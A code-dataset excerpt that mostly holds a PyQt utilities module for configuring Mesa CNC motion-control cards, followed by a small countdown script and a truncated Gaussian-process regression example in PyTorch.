float(maxVelocity)\n\telse:\n\t\treturn\n\n\tmaxAccel = getattr(parent, f'{card}_maxAccel_' + joint).text()\n\tif maxAccel and isNumber(maxAccel):\n\t\tmaxAccel = float(maxAccel)\n\telse:\n\t\treturn\n\n\tif parent.linearUnitsCB.currentData():\n\t\taccelTime = maxVelocity / maxAccel\n\t\tgetattr(parent, f'{card}_timeJoint_' + joint).setText(f'{accelTime:.2f} seconds')\n\t\taccelDistance = accelTime * 0.5 * maxVelocity\n\t\tgetattr(parent, f'{card}_distanceJoint_' + joint).setText(f'{accelDistance:.2f} {parent.linearUnitsCB.currentData()}')\n\t\tstepRate = scale * maxVelocity\n\t\tgetattr(parent, f'{card}_stepRateJoint_' + joint).setText(f'{abs(stepRate):.0f} pulses')\n\ndef unitsChanged(parent):\n\tif not parent.linearUnitsCB.currentData():\n\t\tunitsSecond = ''\n\t\tunitsMinute = ''\n\t\tfor i in range(6):\n\t\t\tgetattr(parent, f'c0_unitsLB_{i}').setText('Select Units\\nMachine Tab')\n\t\treturn\n\tif parent.linearUnitsCB.currentData() == 'mm':\n\t\tunitsSecond = 'mm/sec'\n\t\tunitsMinute = 'mm/min'\n\telif parent.linearUnitsCB.currentData() == 'inch':\n\t\tunitsSecond = 'in/sec'\n\t\tunitsMinute = 'in/min'\n\tfor i in range(6):\n\t\tgetattr(parent, f'c0_unitsLB_{i}').setText(f'Vel & Acc\\n{unitsSecond}')\n\tparent.trajMaxLinVelDSB.setSuffix(f' {unitsSecond}')\n\tparent.minLinJogVelDSB.setSuffix(f' {unitsSecond}')\n\tparent.defLinJogVelDSB.setSuffix(f' {unitsSecond}')\n\tparent.maxLinJogVelDSB.setSuffix(f' {unitsSecond}')\n\tparent.minLinearVelLB.setText(f'{parent.minLinJogVelDSB.value() * 60:.1f} {unitsMinute}')\n\tparent.jogSpeedLB.setText(f'{parent.defLinJogVelDSB.value() * 60:.1f} {unitsMinute}')\n\tparent.maxLinearVelLB.setText(f'{parent.maxLinJogVelDSB.value() * 60:.1f} {unitsMinute}')\n\tif set('ABC')&set(parent.coordinatesLB.text()): # angular axis\n\t\tparent.defAngularVelLB.setText(f'{parent.defAngJogVelDSB.value() * 60:.1f} deg/min')\n\n\tmaxVelChanged(parent)\n\ndef axisChanged(parent):\n\tconnector = parent.sender().objectName()[:3]\n\tjoint = parent.sender().objectName()[-1]\n\taxis = parent.sender().currentText()\n\tif axis in ['X', 'Y', 'Z', 'U', 'V', 'W']:\n\t\tgetattr(parent, f'{connector}axisType_{joint}').setText('LINEAR')\n\t\tparent.minAngJogVelDSB.setEnabled(False)\n\t\tparent.defAngJogVelDSB.setEnabled(False)\n\t\tparent.maxAngJogVelDSB.setEnabled(False)\n\telif axis in ['A', 'B', 'C']:\n\t\tgetattr(parent, f'{connector}axisType_{joint}').setText('ANGULAR')\n\t\tparent.minAngJogVelDSB.setEnabled(True)\n\t\tparent.defAngJogVelDSB.setEnabled(True)\n\t\tparent.maxAngJogVelDSB.setEnabled(True)\n\telse:\n\t\tgetattr(parent, f'{connector}axisType_{joint}').setText('')\n\t\tparent.minAngJogVelDSB.setEnabled(False)\n\t\tparent.defAngJogVelDSB.setEnabled(False)\n\t\tparent.maxAngJogVelDSB.setEnabled(False)\n\tcoordList = []\n\n\tfor i in range(6): # Card 0\n\t\taxisLetter = getattr(parent, f'c0_axisCB_{i}').currentText()\n\t\tif axisLetter != 'Select':\n\t\t\tcoordList.append(axisLetter)\n\t\tparent.coordinatesLB.setText(''.join(coordList))\n\t\t#parent.axes = len(parent.coordinatesLB.text())\n\n\t'''\n\tfor i in range(6): # Card 1\n\t\taxisLetter = getattr(parent, f'c1_axisCB_{i}').currentText()\n\t\tif axisLetter != 'Select':\n\t\t\tcoordList.append(axisLetter)\n\t\tparent.coordinatesLB.setText(''.join(coordList))\n\t\tparent.axes = len(parent.coordinatesLB.text())\n\t'''\n\ndef inputChanged(parent): # test to see if not checked then enable both\n\tdebounce = ['7i96s', '7i97']\n\tstate = getattr(parent, parent.sender().objectName()).checkState()\n\titem, n = parent.sender().objectName().split('_')\n\tif state == 0: # only 7i96s and 7i97 have debounce\n\t\tif parent.board in debounce:\n\t\t\tgetattr(parent, f'inputDebounceCB_{n}').setEnabled(True)\n\t\tgetattr(parent, f'inputInvertCB_{n}').setEnabled(True)\n\tif item == 'inputInvertCB' and state == 2:\n\t\tgetattr(parent, f'inputDebounceCB_{n}').setEnabled(False)\n\telif item == 'inputDebounceCB' and state == 2:\n\t\tgetattr(parent, f'inputInvertCB_{n}').setEnabled(False)\n\ndef maxVelChanged(parent):\n\tif parent.trajMaxLinVelDSB.value() > 0:\n\t\tval = parent.trajMaxLinVelDSB.value()\n\t\tif parent.linearUnitsCB.currentData() == 'mm':\n\t\t\tparent.mlvPerMinLB.setText(F'{val * 60:.1f} mm/min')\n\t\tif parent.linearUnitsCB.currentData() == 'inch':\n\t\t\tparent.mlvPerMinLB.setText(F'{val * 60:.1f} in/min')\n\telse:\n\t\tparent.mlvPerMinLB.setText('')\n\ndef ferrorSetDefault(parent):\n\tif not parent.linearUnitsCB.currentData():\n\t\tQMessageBox.warning(parent,'Warning', 'Machine Tab\\nLinear Units\\nmust be selected', QMessageBox.Ok)\n\t\treturn\n\tconnector = parent.sender().objectName()[:2]\n\tjoint = parent.sender().objectName()[-1]\n\tif parent.linearUnitsCB.currentData() == 'inch':\n\t\tgetattr(parent, f'{connector}_ferror_{joint}').setText(' 0.0002')\n\t\tgetattr(parent, f'{connector}_min_ferror_{joint}').setText(' 0.0001')\n\telse:\n\t\tgetattr(parent, f'{connector}_ferror_{joint}').setText(' 0.005')\n\t\tgetattr(parent, f'{connector}_min_ferror_{joint}').setText(' 0.0025')\n\ndef pidSetDefault(parent):\n\tconnector = parent.sender().objectName()[:2]\n\tjoint = parent.sender().objectName()[-1]\n\tif not parent.linearUnitsCB.currentData():\n\t\tQMessageBox.warning(parent,'Warning', 'Machine Tab\\nLinear Units\\nmust be selected', QMessageBox.Ok)\n\t\treturn\n\tif joint == 's':\n\t\tgetattr(parent, 'p_s').setValue(0)\n\t\tgetattr(parent, 'i_s').setValue(0)\n\t\tgetattr(parent, 'd_s').setValue(0)\n\t\tgetattr(parent, 'ff0_s').setValue(1)\n\t\tgetattr(parent, 'ff1_s').setValue(0)\n\t\tgetattr(parent, 'ff2_s').setValue(0)\n\t\tgetattr(parent, 'bias_s').setValue(0)\n\t\tgetattr(parent, 'maxOutput_s').setValue(parent.spindleMaxRpm.value())\n\t\tgetattr(parent, 'maxError_s').setValue(0)\n\t\tgetattr(parent, 'deadband_s').setValue(0)\n\t\treturn\n\n\tp = int(1000/(int(parent.servoPeriodSB.cleanText())/1000000))\n\tgetattr(parent, f'{connector}_p_{joint}').setText(f'{p}')\n\tgetattr(parent, f'{connector}_i_{joint}').setText('0')\n\tgetattr(parent, f'{connector}_d_{joint}').setText('0')\n\tgetattr(parent, f'{connector}_ff0_{joint}').setText('0')\n\tgetattr(parent, f'{connector}_ff1_{joint}').setText('1')\n\tgetattr(parent, f'{connector}_ff2_{joint}').setText('0')\n\tgetattr(parent, f'{connector}_bias_{joint}').setText('0')\n\tgetattr(parent, f'{connector}_maxOutput_{joint}').setText('0')\n\tif parent.linearUnitsCB.itemData(parent.linearUnitsCB.currentIndex()) == 'inch':\n\t\tmaxError = '0.0005'\n\telse:\n\t\tmaxError = '0.0127'\n\tgetattr(parent, f'{connector}_maxError_{joint}').setText(maxError)\n\tgetattr(parent, f'{connector}_deadband_{joint}').setText('0')\n\ndef analogSetDefault(parent): # think this is broken...\n\t#tab = parent.sender().objectName()[-1]\n\tconnector = parent.sender().objectName()[:2]\n\tjoint = parent.sender().objectName()[-1]\n\tgetattr(parent, f'{connector}_analogMinLimit_{joint}').setText('-10')\n\tgetattr(parent, f'{connector}_analogMaxLimit_{joint}').setText('10')\n\tgetattr(parent, f'{connector}_analogScaleMax_{joint}').setText('10')\n\ndef driveChanged(parent):\n\ttiming = parent.sender().currentData()\n\tconnector = parent.sender().objectName()[:3]\n\tjoint = f'_{parent.sender().objectName()[-1]}'\n\tif parent.sender().objectName() == 'spindleDriveCB':\n\t\tconnector = 'spindle'\n\t\tjoint = ''\n\tif timing:\n\t\tparent.sender().setEditable(False)\n\t\tgetattr(parent, f'{connector}StepTime{joint}').setText(timing[0])\n\t\tgetattr(parent, f'{connector}StepSpace{joint}').setText(timing[1])\n\t\tgetattr(parent, f'{connector}DirSetup{joint}').setText(timing[2])\n\t\tgetattr(parent, f'{connector}DirHold{joint}').setText(timing[3])\n\t\tgetattr(parent, f'{connector}StepTime{joint}').setEnabled(False)\n\t\tgetattr(parent, f'{connector}StepSpace{joint}').setEnabled(False)\n\t\tgetattr(parent, f'{connector}DirSetup{joint}').setEnabled(False)\n\t\tgetattr(parent, f'{connector}DirHold{joint}').setEnabled(False)\n\telse:\n\t\tparent.sender().setEditable(True)\n\t\tgetattr(parent, f'{connector}StepTime{joint}').setEnabled(True)\n\t\tgetattr(parent, f'{connector}StepSpace{joint}').setEnabled(True)\n\t\tgetattr(parent, f'{connector}DirSetup{joint}').setEnabled(True)\n\t\tgetattr(parent, f'{connector}DirHold{joint}').setEnabled(True)\n\ndef plcOptions():\n\treturn ['ladderRungsSB', 'ladderBitsSB', 'ladderWordsSB',\n\t'ladderTimersSB', 'iecTimerSB', 'ladderMonostablesSB', 'ladderCountersSB',\n\t'ladderInputsSB', 'ladderOutputsSB', 'ladderExpresionsSB',\n\t'ladderSectionsSB', 'ladderSymbolsSB', 'ladderS32InputsSB',\n\t'ladderS32OuputsSB', 'ladderFloatInputsSB', 'ladderFloatOutputsSB']\n\ndef updateJointInfo(parent):\n\tif parent.sender().objectName() == 'actionOpen':\n\t\treturn\n\tjoint = parent.sender().objectName()[-1]\n\tscale = getattr(parent, 'scale_' + joint).text()\n\tif scale and isNumber(scale):\n\t\tscale = float(scale)\n\telse:\n\t\treturn\n\n\tmaxVelocity = getattr(parent, 'maxVelocity_' + joint).text()\n\tif maxVelocity and isNumber(maxVelocity):\n\t\tmaxVelocity = float(maxVelocity)\n\telse:\n\t\treturn\n\n\tmaxAccel = getattr(parent, 'maxAccel_' + joint).text()\n\tif maxAccel and isNumber(maxAccel):\n\t\tmaxAccel = float(maxAccel)\n\telse:\n\t\treturn\n\n\tif not parent.linearUnitsCB.currentData():\n\t\tparent.errorDialog('Machine Tab:\\nLinear Units must be selected')\n\t\treturn\n\taccelTime = maxVelocity / maxAccel\n\tgetattr(parent, 'timeJoint_' + joint).setText(f'{accelTime:.2f} seconds')\n\taccelDistance = accelTime * 0.5 * maxVelocity\n\tgetattr(parent, 'distanceJoint_' + joint).setText(f'{accelDistance:.2f} {parent.linearUnitsCB.currentData()}')\n\tif parent.cardCB.currentData() == '7i76':\n\t\tstepRate = scale * maxVelocity\n\t\tgetattr(parent, 'stepRateJoint_' + joint).setText(f'{abs(stepRate):.0f} pulses')\n\telse:\n\t\tgetattr(parent, 'stepRateJoint_' + joint).setText('N/A')\n\ndef spindleChanged(parent):\n\t#print(parent.axes)\n\tif not parent.spindleTypeCB.currentData():\n\t\tparent.spindleGB.setEnabled(False)\n\t\tparent.spindlepidGB.setEnabled(False)\n\t\tparent.spindleStepgenGB.setEnabled(False)\n\telse:\n\t\tif parent.spindleTypeCB.currentData() == 'analog':\n\t\t\tparent.spindleGB.setEnabled(True)\n\t\t\tparent.spindlepidGB.setEnabled(False)\n\t\t\tparent.spindleStepgenGB.setEnabled(False)\n\t\t\tfor i in range(parent.axes):\n\t\t\t\tparent.jointTabs_0.setTabEnabled(i, True)\n\n\t\tif parent.spindleTypeCB.currentData() == 'digital':\n\t\t\tparent.spindleGB.setEnabled(False)\n\t\t\tparent.spindleStepgenGB.setEnabled(False)\n\t\t\tfor i in range(parent.axes):\n\t\t\t\tparent.jointTabs_0.setTabEnabled(i, True)\n\n\t\tif parent.spindleTypeCB.currentData()[:7] == 'stepgen':\n\t\t\tparent.spindlepidGB.setEnabled(False)\n\t\t\tfor i in range(parent.axes):\n\t\t\t\tif i == int(parent.spindleTypeCB.currentData()[-1]):\n\t\t\t\t\tparent.jointTabs_0.setTabEnabled(i, False)\n\t\t\t\telse:\n\t\t\t\t\tparent.jointTabs_0.setTabEnabled(i, True)\n\t\t\tparent.spindleGB.setEnabled(True)\n\t\t\tparent.spindleMinRpm.setEnabled(False)\n\t\t\tparent.spindleStepgenGB.setEnabled(True)\n\ndef spindleSettingsChanged(parent):\n\tif parent.spindleMinRpm.value() > 0:\n\t\tparent.spindleMinRps.setText(f'{parent.spindleMinRpm.value() / 60:.2f}')\n\telse:\n\t\tparent.spindleMinRps.setText('')\n\tif parent.spindleMaxRpm.value() > 0:\n\t\tparent.spindleMaxRps.setText(f'{parent.spindleMaxRpm.value() / 60:.2f}')\n\telse:\n\t\tparent.spindleMaxRps.setText('')\n\tif parent.spindleMaxAccel.value() > 0:\n\t\tparent.spindleMaxRpss.setText(f'{parent.spindleMaxAccel.value() / 60:.2f}')\n\telse:\n\t\tparent.spindleMaxRpss.setText('')\n\n\ndef spindleFeedbackChanged(parent):\n\tif parent.spindleFeedbackCB.currentData() == 'encoder':\n\t\tparent.spindlepidGB.setEnabled(True)\n\telse:\n\t\tparent.spindlepidGB.setEnabled(False)\n\n\t'''\n\t\tparent.encoderGB.setEnabled(True)\n\t\tparent.encoderGB.setEnabled(False)\n\t'''\n''' left over from 7i96 tool\ndef spindleTypeChanged(parent): \n\tif parent.spindleTypeCB.currentData():\n\t\tparent.spindleGB.setEnabled(True)\n\t\tparent.spindleInfoGB.setEnabled(True)\n\t\tparent.encoderGB.setEnabled(True)\n\t\tparent.spindlepidGB.setEnabled(True)\n\t\tif parent.spindleTypeCB.itemData(parent.spindleTypeCB.currentIndex()) == '1':\n\t\t\tparent.spindleInfo1Lbl.setText(\"PWM on Step 4\")\n\t\t\tparent.tb2p3LB.setText(\"PWM +\")\n\t\t\tparent.tb2p2LB.setText(\"PWM -\")\n\t\t\tparent.spindleInfo2Lbl.setText(\"Direction on Dir 4\")\n\t\t\tparent.tb2p5LB.setText(\"Direction +\")\n\t\t\tparent.tb2p4LB.setText(\"Direction -\")\n\t\t\tparent.spindleInfo3Lbl.setText(\"Select Enable on the Outputs tab\")\n\t\tif parent.spindleTypeCB.itemData(parent.spindleTypeCB.currentIndex()) == '2':\n\t\t\tparent.spindleInfo1Lbl.setText(\"UP on Step 4\")\n\t\t\tparent.tb2p3LB.setText(\"UP +\")\n\t\t\tparent.tb2p2LB.setText(\"UP -\")\n\t\t\tparent.spindleInfo2Lbl.setText(\"Down on Dir 4\")\n\t\t\tparent.tb2p5LB.setText(\"DOWN +\")\n\t\t\tparent.tb2p4LB.setText(\"DOWN -\")\n\t\t\tparent.spindleInfo3Lbl.setText(\"Select Enable on the Outputs tab\")\n\t\tif parent.spindleTypeCB.itemData(parent.spindleTypeCB.currentIndex()) == '3':\n\t\t\tparent.spindleInfo1Lbl.setText(\"PDM on Step 4\")\n\t\t\tparent.tb2p3LB.setText(\"PDM +\")\n\t\t\tparent.tb2p2LB.setText(\"PDM -\")\n\t\t\tparent.spindleInfo2Lbl.setText(\"Direction on Dir 4\")\n\t\t\tparent.tb2p5LB.setText(\"Direction +\")\n\t\t\tparent.tb2p4LB.setText(\"Direction -\")\n\t\t\tparent.spindleInfo3Lbl.setText(\"Select Enable on the Outputs tab\")\n\t\tif parent.spindleTypeCB.itemData(parent.spindleTypeCB.currentIndex()) == '4':\n\t\t\tparent.spindleInfo1Lbl.setText(\"Direction on Step 4\")\n\t\t\tparent.tb2p3LB.setText(\"Direction +\")\n\t\t\tparent.tb2p2LB.setText(\"Direction -\")\n\t\t\tparent.spindleInfo2Lbl.setText(\"PWM on Dir 4\")\n\t\t\tparent.tb2p5LB.setText(\"PWM +\")\n\t\t\tparent.tb2p4LB.setText(\"PWM -\")\n\t\t\tparent.spindleInfo3Lbl.setText(\"Select Enable on the Outputs tab\")\n'''\n\ndef ssCardChanged(parent):\n\tsscards = {\n\t'Select':'No Card Selected',\n\t'7i64':'24 Outputs, 24 Inputs',\n\t'7i69':'48 Digital I/O Bits',\n\t'7i70':'48 Inputs',\n\t'7i71':'48 Sourcing Outputs',\n\t'7i72':'48 Sinking Outputs',\n\t'7i73':'Pendant Card',\n\t'7i84':'32 Inputs 16 Outputs',\n\t'7i87':'8 Analog Inputs'\n\t}\n\n\tsspage = {\n\t'Select':0,\n\t'7i64':1,\n\t'7i69':2,\n\t'7i70':3,\n\t'7i71':4,\n\t'7i72':5,\n\t'7i73':6,\n\t'7i84':7,\n\t'7i87':8\n\t}\n\tparent.smartSerialInfoLbl.setText(sscards[parent.ssCardCB.currentText()])\n\tparent.smartSerialSW.setCurrentIndex(sspage[parent.ssCardCB.currentText()])\n\n\ndef ss7i73Changed(parent):\n\tif parent.ss7i73lcdCB.currentData() == 'w7d': # no LCD\n\t\tparent.ss7i73w7Lbl.setText('W7 Down')\n\t\tlcd = False\n\telif parent.ss7i73lcdCB.currentData() == 'w7u': # LCD\n\t\tparent.ss7i73w7Lbl.setText('W7 Up')\n\t\tlcd = True\n\tif parent.ss7i73_keypadCB.currentData()[0] == 'w5d':\n\t\tif parent.ss7i73_keypadCB.currentData()[1] == 'w6d': # no keypad\n\t\t\tparent.ss7i73w5Lbl.setText('W5 Down')\n\t\t\tparent.ss7i73w6Lbl.setText('W6 Down')\n\t\t\tkeypad = False\n\t\telif parent.ss7i73_keypadCB.currentData()[1] == 'w6u': # 4x8 keypad\n\t\t\tparent.ss7i73w5Lbl.setText('W5 Down')\n\t\t\tparent.ss7i73w6Lbl.setText('W6 Up')\n\t\t\tkeypad = True\n\t\t\tkeys = '4x8'\n\telif parent.ss7i73_keypadCB.currentData()[0] == 'w5u': # 8x8 keypad\n\t\t\tparent.ss7i73w5Lbl.setText('W5 Up')\n\t\t\tparent.ss7i73w6Lbl.setText('W6 Down')\n\t\t\tkeypad = True\n\t\t\tkeys = '8x8'\n\n\t# No LCD No Keypad\n\tif not lcd and not keypad:\n\t\tfor i in range(8):\n\t\t\tgetattr(parent, 'ss7i73key_' + str(i)).setEnabled(True)\n\t\t\tgetattr(parent, 'ss7i73keylbl_' + str(i)).setText(f'Output {i+10}')\n\t\t\tbutton = getattr(parent, f'ss7i73key_{i}')\n\t\t\tmenu = QMenu()\n\t\t\tmenu.triggered.connect(lambda action, button=button: button.setText(action.text()))\n\t\t\tadd_menu(outputs, menu)\n\t\t\tbutton.setMenu(menu)\n\t\tfor i in range(8,16):\n\t\t\tgetattr(parent, 'ss7i73key_' + str(i)).setEnabled(True)\n\t\t\tgetattr(parent, 'ss7i73keylbl_' + str(i)).setText(f'Input {i+8}')\n\t\t\tbutton = getattr(parent, f'ss7i73key_{i}')\n\t\t\tmenu = QMenu()\n\t\t\tmenu.triggered.connect(lambda action, button=button: button.setText(action.text()))\n\t\t\tadd_menu(inputs, menu)\n\t\t\tbutton.setMenu(menu)\n\t\tfor i in range(8):\n\t\t\tgetattr(parent, 'ss7i73lcd_' + str(i)).setEnabled(True)\n\t\t\tgetattr(parent, 'ss7i73lcdlbl_' + str(i)).setText(f'Output {i+2}')\n\t\t\tbutton = getattr(parent, f'ss7i73lcd_{i}')\n\t\t\tmenu = QMenu()\n\t\t\tmenu.triggered.connect(lambda action, button=button: button.setText(action.text()))\n\t\t\tadd_menu(outputs, menu)\n\t\t\tbutton.setMenu(menu)\n\t\tfor i in range(8,12):\n\t\t\tgetattr(parent, 'ss7i73lcd_' + str(i)).setEnabled(True)\n\t\t\tgetattr(parent, 'ss7i73lcdlbl_' + str(i)).setText(f'Output {i+10}')\n\t\t\tbutton = getattr(parent, f'ss7i73lcd_{i}')\n\t\t\tmenu = QMenu()\n\t\t\tmenu.triggered.connect(lambda action, button=button: button.setText(action.text()))\n\t\t\tadd_menu(outputs, menu)\n\t\t\tbutton.setMenu(menu)\n\n\t# LCD No Keypad\n\tif lcd and not keypad:\n\t\tfor i in range(8):\n\t\t\tgetattr(parent, 'ss7i73key_' + str(i)).setEnabled(True)\n\t\t\tgetattr(parent, 'ss7i73keylbl_' + str(i)).setText(f'Output {i+6}')\n\t\t\tbutton = getattr(parent, f'ss7i73key_{i}')\n\t\t\tmenu = QMenu()\n\t\t\tmenu.triggered.connect(lambda action, button=button: button.setText(action.text()))\n\t\t\tadd_menu(outputs, menu)\n\t\t\tbutton.setMenu(menu)\n\t\tfor i in range(8,16):\n\t\t\tgetattr(parent, 'ss7i73key_' + str(i)).setEnabled(True)\n\t\t\tgetattr(parent, 'ss7i73keylbl_' + str(i)).setText(f'Input {i+8}')\n\t\t\tbutton = getattr(parent, f'ss7i73key_{i}')\n\t\t\tmenu = QMenu()\n\t\t\tmenu.triggered.connect(lambda action, button=button: button.setText(action.text()))\n\t\t\tadd_menu(inputs, menu)\n\t\t\tbutton.setMenu(menu)\n\t\tfor i in range(4):\n\t\t\tgetattr(parent, 'ss7i73lcdlbl_' + str(i)).setText(f'Output {i+2}')\n\t\t\tbutton = getattr(parent, f'ss7i73lcd_{i}')\n\t\t\tmenu = QMenu()\n\t\t\tmenu.triggered.connect(lambda action, button=button: button.setText(action.text()))\n\t\t\tadd_menu(outputs, menu)\n\t\t\tbutton.setMenu(menu)\n\t\tfor i in range(4,12):\n\t\t\tgetattr(parent, 'ss7i73lcdlbl_' + str(i)).setText(f'LCD {i}')\n\t\t\tgetattr(parent, 'ss7i73lcd_' + str(i)).setEnabled(False)\n\n\t# LCD 4x8 Keypad\n\tif lcd and keypad and keys == '4x8':\n\t\tfor i in range(4):\n\t\t\tgetattr(parent, 'ss7i73key_' + str(i)).setEnabled(True)\n\t\t\tgetattr(parent, 'ss7i73keylbl_' + str(i)).setText(f'Output {i+6}')\n\t\t\tbutton = getattr(parent, f'ss7i73key_{i}')\n\t\t\tmenu = QMenu()\n\t\t\tmenu.triggered.connect(lambda action, button=button: button.setText(action.text()))\n\t\t\tadd_menu(outputs, menu)\n\t\t\tbutton.setMenu(menu)\n\t\tfor i in range(4,16):\n\t\t\tgetattr(parent, 'ss7i73keylbl_' + str(i)).setText(f'Key {i}')\n\t\t\tgetattr(parent, 'ss7i73key_' + str(i)).setEnabled(False)\n\t\tfor i in range(5):\n\t\t\tgetattr(parent, 'ss7i73lcdlbl_' + str(i)).setText(f'Output {i+2}')\n\t\t\tbutton = getattr(parent, f'ss7i73lcd_{i}')\n\t\t\tmenu = QMenu()\n\t\t\tmenu.triggered.connect(lambda action, button=button: button.setText(action.text()))\n\t\t\tadd_menu(outputs, menu)\n\t\t\tbutton.setMenu(menu)\n\t\tfor i in range(4,12):\n\t\t\tgetattr(parent, 'ss7i73lcdlbl_' + str(i)).setText(f'LCD {i}')\n\t\t\tgetattr(parent, 'ss7i73lcd_' + str(i)).setEnabled(False)\n\n\t# LCD 8x8 Keypad\n\tif lcd and keypad and keys == '8x8':\n\t\tfor i in range(16):\n\t\t\tgetattr(parent, 'ss7i73keylbl_' + str(i)).setText(f'Key {i}')\n\t\t\tgetattr(parent, 'ss7i73key_' + str(i)).setEnabled(False)\n\t\tfor i in range(5):\n\t\t\tgetattr(parent, 'ss7i73lcdlbl_' + str(i)).setText(f'Output {i+2}')\n\t\t\tbutton = getattr(parent, f'ss7i73lcd_{i}')\n\t\t\tmenu = QMenu()\n\t\t\tmenu.triggered.connect(lambda action, button=button: button.setText(action.text()))\n\t\t\tadd_menu(outputs, menu)\n\t\t\tbutton.setMenu(menu)\n\t\tfor i in range(4,12):\n\t\t\tgetattr(parent, 'ss7i73lcdlbl_' + str(i)).setText(f'LCD {i}')\n\t\t\tgetattr(parent, 'ss7i73lcd_' + str(i)).setEnabled(False)\n\n\t# No LCD 4x8 Keypad\n\tif not lcd and keypad and keys == '4x8':\n\t\tfor i in range(4):\n\t\t\tgetattr(parent, 'ss7i73key_' + str(i)).setEnabled(True)\n\t\t\tgetattr(parent, 'ss7i73keylbl_' + str(i)).setText(f'Output {i+10}')\n\t\t\tbutton = getattr(parent, f'ss7i73key_{i}')\n\t\t\tmenu = QMenu()\n\t\t\tmenu.triggered.connect(lambda action, button=button: button.setText(action.text()))\n\t\t\tadd_menu(outputs, menu)\n\t\t\tbutton.setMenu(menu)\n\n\t\tfor i in range(4,16):\n\t\t\tgetattr(parent, 'ss7i73keylbl_' + str(i)).setText(f'Key {i}')\n\t\t\tgetattr(parent, 'ss7i73key_' + str(i)).setEnabled(False)\n\t\tfor i in range(8):\n\t\t\tgetattr(parent, 'ss7i73lcdlbl_' + str(i)).setText(f'Output {i+2}')\n\t\t\tbutton = getattr(parent, f'ss7i73lcd_{i}')\n\t\t\tmenu = QMenu()\n\t\t\tmenu.triggered.connect(lambda action, button=button: button.setText(action.text()))\n\t\t\tadd_menu(outputs, menu)\n\t\t\tbutton.setMenu(menu)\n\t\tfor i in range(8,12):\n\t\t\tgetattr(parent, 'ss7i73lcdlbl_' + str(i)).setText(f'Output {i+6}')\n\t\t\tbutton = getattr(parent, f'ss7i73lcd_{i}')\n\t\t\tmenu = QMenu()\n\t\t\tmenu.triggered.connect(lambda action, button=button: button.setText(action.text()))\n\t\t\tadd_menu(outputs, menu)\n\t\t\tbutton.setMenu(menu)\n\n\t# No LCD 8x8 Keypad\n\tif not lcd and keypad and keys == '8x8':\n\t\tfor i in range(16):\n\t\t\tgetattr(parent, 'ss7i73keylbl_' + str(i)).setText(f'Key {i}')\n\t\t\tgetattr(parent, 'ss7i73key_' + str(i)).setEnabled(False)\n\t\tfor i in range(12):\n\t\t\tgetattr(parent, 'ss7i73lcd_' + str(i)).setEnabled(True)\n\t\t\tgetattr(parent, 'ss7i73lcdlbl_' + str(i)).setText(f'Output {i+2}')\n\t\t\tbutton = getattr(parent, f'ss7i73lcd_{i}')\n\t\t\tmenu = QMenu()\n\t\t\tmenu.triggered.connect(lambda action, button=button: button.setText(action.text()))\n\t\t\tadd_menu(outputs, menu)\n\t\t\tbutton.setMenu(menu)\n\ndef backupFiles(parent):\n\tif not os.path.exists(parent.configPath):\n\t\tparent.machinePTE.setPlainText('Nothing to Back Up')\n\t\treturn\n\tbackupDir = os.path.join(parent.configPath, 'backups')\n\tif not os.path.exists(backupDir):\n\t\tos.mkdir(backupDir)\n\tp1 = subprocess.Popen(['find',parent.configPath,'-maxdepth','1','-type','f','-print'], stdout=subprocess.PIPE)\n\tbackupFile = os.path.join(backupDir, f'{datetime.now():%m-%d-%y-%H:%M:%S}')\n\tp2 = subprocess.Popen(['zip','-j',backupFile,'-@'], stdin=p1.stdout, stdout=subprocess.PIPE)\n\tp1.stdout.close()\n\tparent.machinePTE.appendPlainText('Backing up Confguration')\n\toutput = p2.communicate()[0]\n\tparent.machinePTE.appendPlainText(output.decode())\n\ndef fileNew(parent):\n\tparent.errorMsgOk('Close the Tool,\\n Then open', 'Info!')\n\ndef fileSaveAs(parent):\n\tparent.errorMsgOk('Change the Name,\\n Then Save', 'Info!')\n\ndef copyOutput(parent):\n\tqclip = QApplication.clipboard()\n\tqclip.setText(parent.machinePTE.toPlainText())\n\tparent.statusbar.showMessage('Output copied to clipboard')\n\ndef copyhelp(ui, parent):\n\tqclip = QApplication.clipboard()\n\tqclip.setText(ui.helpPTE.toPlainText())\n\tparent.statusbar.showMessage('Output copied to clipboard')\n\ndef add_menu(data, menu_obj):\n\tif isinstance(data, dict):\n\t\tfor k, v in data.items():\n\t\t\tsub_menu = QMenu(k, menu_obj)\n\t\t\tmenu_obj.addMenu(sub_menu)\n\t\t\tadd_menu(v, sub_menu)\n\telif isinstance(data, list):\n\t\tfor element in data:\n\t\t\tadd_menu(element, menu_obj)\n\telse:\n\t\taction = menu_obj.addAction(data)\n\t\taction.setIconVisibleInMenu(False)\n\n\n","repo_name":"cnc4less/mesact","sub_path":"mesact/src/libmesact/utilities.py","file_name":"utilities.py","file_ext":"py","file_size_in_byte":33029,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"47"} +{"seq_id":"11702601449","text":"# x = input(\"enter the name of the season\")\n# if x = \"winter\"\n# print(\"December January February\")\ndef countdown(n):\n if n <= 0:\n print('Blastoff!')\n else:\n print(n)\n countdown(n-1)\n countdown(-1)\n","repo_name":"00012121/Seminar_5","sub_path":"smth.py","file_name":"smth.py","file_ext":"py","file_size_in_byte":227,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"47"} +{"seq_id":"73695423822","text":"import torch\nimport math\nfrom matplotlib import pyplot as plt\nimport gp_regression as gpr\n\n\nn = 20\ntrain_x = torch.Tensor(n, 1)\ntrain_x[:, 0] = torch.linspace(0, 2 * math.pi, n)\ntrain_y = torch.sin(2*torch.squeeze(train_x, 1)) + torch.randn(n) * 0.2\n\ntest_x = torch.Tensor(100, 1)\ntest_x[:, 0] = torch.linspace(0, 2*math.pi, 100)\n\nmodel = gpr.GP_1D(sigma_f=1.0, lengthscale=1, sigma_n=1)\n# c, v = model(train_x, train_y)\n\nprint(model)\n\nnLL = gpr.NegMarginalLogLikelihood() # this is the loss function\n\noptimizer = torch.optim.Adam([\n {'params': model.parameters()},\n], lr=0.005)\n\ntraining_iterations = 200\n\n\ndef train():\n for i in range(training_iterations):\n # Zero backprop gradients\n optimizer.zero_grad()\n # Get output from model\n c, v = model(train_x, train_y)\n # Calc loss and backprop derivatives\n loss = nLL(train_y, c, v)\n loss.backward()\n print('Iter %d/%d - Loss: %.3f' % (i + 1, training_iterations, loss.item()))\n optimizer.step()\n\n\ntrain()\n\n# now make predictions\ntest_f, cov_f = model(train_x,train_y,test_x)\n\nwith torch.no_grad():\n fplot, ax = plt.subplots(1, 1, figsize=(4, 3))\n # Plot training data as black stars\n ax.plot(train_x.numpy(), train_y.numpy(), 'k*')\n upper = 